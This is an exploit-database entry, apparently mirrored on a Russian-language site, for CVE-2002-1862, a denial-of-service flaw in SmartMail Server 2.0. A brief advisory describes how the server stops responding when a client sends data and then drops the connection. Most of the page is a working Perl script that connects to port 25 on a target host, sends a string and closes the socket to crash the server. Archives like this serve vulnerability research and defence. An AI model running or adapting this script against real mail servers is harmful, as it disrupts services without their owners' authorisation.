Exploit SmartMail Server 2.0 - Closed Connection Denial of Service

[Exploiter]

EDB-ID

21972

Проверка EDB

1. Пройдено

Автор

SECURMA MASSINE

Тип уязвимости

DOS

Платформа

WINDOWS

CVE

cve-2002-1862

Дата публикации

2002-10-31

source: https://www.securityfocus.com/bid/6074/info

SmartMail Server is reported to be prone to a denial of service when a client is sending data and then closes the connection unexpectedly.

SmartMail Server will need to be restarted to regain normal functionality.

This issue was reported in SmartMail Server 2.0 Interim Build 83. It is not known if other versions are affected.


#!/usr/bin/perl -w
# greetz: marocit and #crack.fr (christal)
# [email protected]
use Socket;
if (not $ARGV[0]) {
        print qq~
                Usage: sm.pl <host>
        ~;
exit;}

$ip=$ARGV[0];
print "SmartMail server 2.0 DoS\n\n";
print "Sending Exploit Code to host: " . $ip . "\n\n";
sendexplt("MASSINE");
sub sendexplt {
 my ($pstr)=@_;
        $target= inet_aton($ip) || die("inet_aton
problems");
 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')
||0) ||
 die("Socket problems\n");
 if(connect(S,pack "SnA4x8",2,25,$target)){
 select(S);
                $|=1;
 print $pstr;
 sleep 3;
         close(S);
 } else { die("Can't connect...\n"); }
}